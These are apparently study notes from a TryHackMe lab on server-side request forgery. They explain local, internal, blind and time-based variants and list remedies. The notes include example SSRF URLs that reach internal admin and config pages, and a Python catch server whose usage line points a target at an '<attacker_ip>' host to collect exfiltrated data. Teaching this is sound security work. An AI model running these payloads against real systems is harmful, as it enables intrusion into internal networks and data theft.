Introduction#

  • SSRF is a web application security vulnerability that allows attacker to force the server to make unauthorized requests to any local or external source on behalf of web server. SSRF allows the attacker to interact with internal systems, potentially leading to data leaks, service disruption, or even RCE.

  • SSRF arises when user-provided data is used to construct a request, such as forming url. To execute an SSRF attack, an attacker can manipulate a parameter value within the vulnerable software, effectively creating or controlling requests from that software and directing towards the other servers or even the same server.

  • Risk of SSRF:

    • Data Exposure: Gaining unauthorized access by tampering with requests on behalf of vulnerable web app, to get access to sensitive data hosted in internal servers.
    • Reconnaissance: Carrying out port scanning of internal networks by using malicious scripts on vulnerable servers, or redirecting the scripts hosted in external servers.
    • Denial of Service: Attackers can fllod the servers with multiple illegitimate requests, causing them to remain unavailable to handle genuine requests.

Basics - Types of SSRF#

  • A basic SSRF can be employed against local or an internal server.

SSRF against a local server:#

  • Here, Attacker makes an unauthorized request to the server hosting the web application. He supplies typically a loopback IP address or localhost to receive the response.
  • The vulnerability arises due to how the application handles the user input from the query parameters or API calls.
  • For example, lets say, navigating to http://hrms.thm?url=localhost/copyright would load the copyright page of the application from a local server. This feature is intended for internal use and is designed to request and display pages from the local server (hence using localhost in the query).
  • By changing the URL parameter to point to other pages/services, the attacker can force the HRMS server to make requests to other pages. For instance, if the attacker uses a URL like http://hrms.thm/?url=localhost/config, and if config is a valid page, the HRMS server will attempt to fetch content from this page and display the result.

SSRF against an internal server:#

  • In complex web applications, it is common for front end web app to interact with backend internal servers. These backend servers are generally hosted on non-routable IP addresses, so an internet user cannot access them.
  • In this scenario, an attacker exploits a vulnerable web app’s input validation to trick the server into requesting internal resources on the same network.
  • They could provide URL as input, making the server interact with the internal server on their behalf.
  • For example, if the internal server provides DB or Admin controls, the attacker could craft a URL that intiates an unintended action on these internal systems when processed by vulnerable web app.
  • Technically, this is achieved through the manipulated input, such as special IP addresses, or domain names.
  • The server, interpreting these requests with manipulated inputs, as legitimate requests, and then inadvertently performs actions and retrives data from internal services.
  • Morever, since these internal servers may lack the same level security monitoring as the external facing servers, such exploitation can often go unnoticed.
  • Attacker may also use this method perform reconnaissance on internal networks, identifying other vulnerable servers or services to target.
  • For example, logging into the HRMS application and seeing its navigation bar allowing us to navigate to different servers within the same network. Let’s say the admin controls service is hosted at 192.168.1.100, and if we can access it, we can try to attack it using SSRF. Take a look at the source code of the page and see how it’s redirecting to internal servers, for instance, http://hrms.thm?url=192.168.1.100/admin.

Blind SSRF (Out-of-Band):#

  • Blind SSRF refers to a scenario where the attacker can send the requests to target server, but they do not receive any responses or feedback about the outcome of their requests.
  • In other words, the attacker is blind to server’s responses.
  • Out-of-band SSRF is a technique where the attacker leverage a seperate, out-of-band communication channel instead of directly receiving responses from the target server to receive the information or control the exploited server.
  • For instance, attacker might manipulate the vulnerable server to make a DNS request to a domain he knows or to intiate a connection to an external server with specific data.
  • This external interaction provides the attacker with evidence that the SSRF vulnerability exists, and potentially allows him to gather additonal information, such as internal IP addresses, or internal network’s structure.
  • Here, we are using below http simple server, to redirect the request from the target web server to our server, thus getting additional information for exploitation or data pilferage.
'''
HTTP Simple Server with the following features:
- CORS enabled
- GET and POST requests supported
- POST data logged to data.html

Usage:
chmod +x http_simple_server.py
python3 http_simple_server.py

Usage on target server:
hhttp://hrms.thm/profile.php?url=http://<attacker_ip>:8080 
'''

from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import unquote
class CustomRequestHandler(SimpleHTTPRequestHandler):

    def end_headers(self):
        self.send_header('Access-Control-Allow-Origin', '*')  # Allow requests from any origin
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header('Access-Control-Allow-Headers', 'Content-Type')
        super().end_headers()

    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello, GET request!')

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')

        self.send_response(200)
        self.end_headers()

        # Log the POST data to data.html
        with open('data.html', 'a') as file:
            file.write(post_data + '\n')
        response = f'THM, POST request! Received data: {post_data}'
        self.wfile.write(response.encode('utf-8'))

if __name__ == '__main__':
    server_address = ('', 8080)
    httpd = HTTPServer(server_address, CustomRequestHandler)
    print('Server running on http://localhost:8080/')
    httpd.serve_forever()

Semi-Blind SSRF (Time-based):#

  • Time-based SSRF is a variation of SSRF where the attacker leverage the timing-related clues or delays to infer the success or failures of their malicious requests.
  • By observing how long it takes for the application to respond, the attacker can make educated guesses about whether their SSRF attack was successful.
  • The Attacker sends a series of requests, each targeting a different resources or URL. The attacker measure the response times for each request and look if there are any significant delays in response times. If yes, it indicates that the server successfully accessed the target resource, implying that the SSRF attack was successful.

Remedies#

  • Implement strict input validation and sanitize all user-provided input, especially URLs or input parameters the application uses to make external requests.
  • Instead of trying to blocklist or filter out disallowed URLs, Maintain allowlists of trusted URLs or domains. Only allow requests to these trusted sources.
  • Implement network segmentation to isolate sensitive internal resources from external access.
  • Implement security headers, such as Content-Security-Policy (CSP) to restrict the application’s load of external resources.
  • Implement Strong access controls for internal resources, so even if an attacker succeded in making a requests, they cant access sensitive data without proper authorization.
  • Implement comprehensive logging and monitoring to track and analyze incoming requests. Look for unusual or unauthorized requests and set up alerts for suspicious activity.